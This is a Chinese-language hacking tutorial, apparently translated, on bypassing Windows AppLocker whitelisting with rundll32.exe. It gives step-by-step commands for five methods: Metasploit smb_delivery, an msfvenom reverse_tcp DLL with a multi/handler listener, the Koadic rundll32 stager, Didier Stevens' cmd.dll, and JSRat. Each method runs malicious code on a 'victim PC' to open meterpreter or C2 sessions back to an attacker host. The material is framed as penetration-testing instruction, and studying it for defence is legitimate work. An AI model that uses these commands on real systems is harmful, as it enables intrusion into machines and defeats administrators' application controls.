使用rundll32.exe繞過應用程序白名單(多種方法)
0x00 前言
本文演示了白名單AppLocker旁路的最常見和最熟悉的技術。我們知道,出於安全原因,系統管理員添加組策略來限制本地用戶的應用程序執行。在上一篇文章中,我們討論了“ Windows Applocker策略 - 初學者指南”,因為它們為應用程序控制策略定義了AppLocker規則,以及如何使用它們。但今天您將學習如何使用rundll文件繞過AppLocker策略。DLL文件對於Window的操作系統非常重要,它還決定了自定義Windows的其他程序的工作。動態鏈接庫(DLL)文件是一種文件類型,它向其他程序提供有關如何調用某些內容的指令。因此,多個軟件甚至可以同時共享這樣的DLL文件。盡管與.exe文件的格式相同
0x01 運行
當使用時,DLL文件被分為多個部分。這使得DLL文件的運行變得簡單快捷。每個部分都在運行時安裝在主程序中。由於每個部分都不同且獨立的,所以加載時間更快,並且僅在需要所述文件的功能時才完成。此功能還使升級更容易應用,而不影響其他部分。例如,您有一個字典程序,每個月都會添加新詞,因此,對於這個程序,您所要做的就是更新它;而不需要為它安裝一個完整的另一個程序。
1.優點
- 使用更少的資源
- 促進模塊化架構
- 簡化部署和安裝
2.缺點
- 依賴DLL將升級到新版本
- 依賴DLL是固定的
- 依賴DLL將被早期版本覆蓋
- 從計算機中刪除依賴dll
0x02 使用DLL文件的AppLocker Bypass的不同方法
- Smb_Delivery
- MSFVenom
- Koadic
- 通過cmd.dll獲取命令提示符
- JSRat
1.第一種方法:SMB Delivery
因此,我們的方法是使用smb_delivery。要使用此方法,請在kali中打開終端並鍵入以下命令:
msfconsole:
use exploit/windows/smb/smb_deliverymsf exploit(windows/smb/smb_delivery) > set srvhost 192.168.1.107msf exploit現在,通過Windows計算機中的rundll32.exe運行惡意代碼以獲取meterpreter會話
當上述exploit執行時,它將為您提供一個在受害者PC上執行的命令; 以便獲得會話。因此,在受害者PC的運行窗口中復制並粘貼指定的命令,如下圖所示:
rundll32.exe \\192.168.1.107\ZtmW\test.dll,0一旦執行該命令,您將擁有meterpreter會話。要訪問會話類型如下所示:
sessions 1sysinfo2.第二種方法:MSFVenom
我們的第二種方法是通過MSFVenom。要使用此方法,請在kali的終端中鍵入以下命令:
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.107 lport=1234 -f dll > 1.dll創建payload後,在受害者PC的運行窗口中運行以下命令:
rundll32 shell32.dll,Control_RunDLL C:\Users\raj\Downloads\1.dll
同時,通過輸入以下命令啟動multi/handler以獲取會話:
msfconsole:
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcpmsf exploit(multi/handler) > set lhost 192.168.1.107msf exploit(multi/handler) > set lport 1234msf exploit(multi/handler) > exploit3.第三種方法:Koadic
我們的下一個方法是使用Koadic框架。Koadic是一個Windows後期開發的rootkit,類似於其他滲透測試工具,如meterpreter和PowerShellEmpire。要了解更多關於Koadic的信息,請通過以下鏈接閱讀我們關於上述框架的詳細文章:https://www.hackingarticles.in/koadic-com-command-control-framework
一旦koadic啟動並運行,輸入以下命令:
use stager/js/rundll32_jsset SRVHOST 192.168.1.107run運行exploit 將獲得一個命令。將該命令從rundll32.exe復制到6.0中,並將其粘貼到受害者pc的命令提示符中。
一旦在cmd中運行了該命令,您將擁有自己的會話。如下圖所示。
要訪問會話類型:
zombies 04.第四種方法:通過cmd.dll獲取命令提示符
現在的難題是,如果命令提示在受害者的主機中被阻止,該怎麽做。
如果命令行被阻止,那麽Didier Stevens開發的腳本可以用來解決你的小問題。您可以在以下鏈接中找到它們:
http://didierstevens.com/files/software/cmd-dll_v0_0_4.zip
在上面的URL中,您將下載一個zip文件。解壓縮該zip文件並使用以下命令在運行窗口中運行該文件:
rundll32 shell32.dll,Control_RunDLL C:\Users\raj\Downloads\cmd.dll
一旦運行該命令,您將獲得一個未阻止的cmd。如下所示:
5.第五種方法:JSRat
我們攻擊regsvr32的下一個方法是使用jsrat,你可以從GitHub下載它。這是另一個命令和控制框架,類似於koadic和Powershell Empire,僅為rundll32.exe和regsvr32.exe生成惡意程序。jsrat將創建一個Web服務器,在該Web服務器上,我們將找到.js文件。要使用此方法,請輸入:
./JSRat.py -i 192.168.1.107 -p 4444
一旦JSRat開始運行,它將為您提供在瀏覽器中打開的鏈接。該網頁將包含一個要在受害者主機上執行的代碼
因此,請在瀏覽器中打開http://192.168.1.107/wtf鏈接。在那裏你會查看到惡意的代碼,如下圖所示:
在受害者PC的命令提示符中運行該代碼,如下所示:
如下圖所示,您將擁有一個會話:
0x03 總結
DLL文件是各種代碼和過程的集合。這些文件有助於Windows程序準確執行。這些文件是為多個程序創建的,以便同時使用它們。這種技術有助於減少內存使用。因此,這些文件非常重要,並且要求Windows正常運行而不會給用戶帶來任何問題。因此,通過這些文件進行利用是非常有效和致命的。以上介紹的方法是不同的方法的利用。
使用rundll32.exe繞過應用程序白名單(多種方法)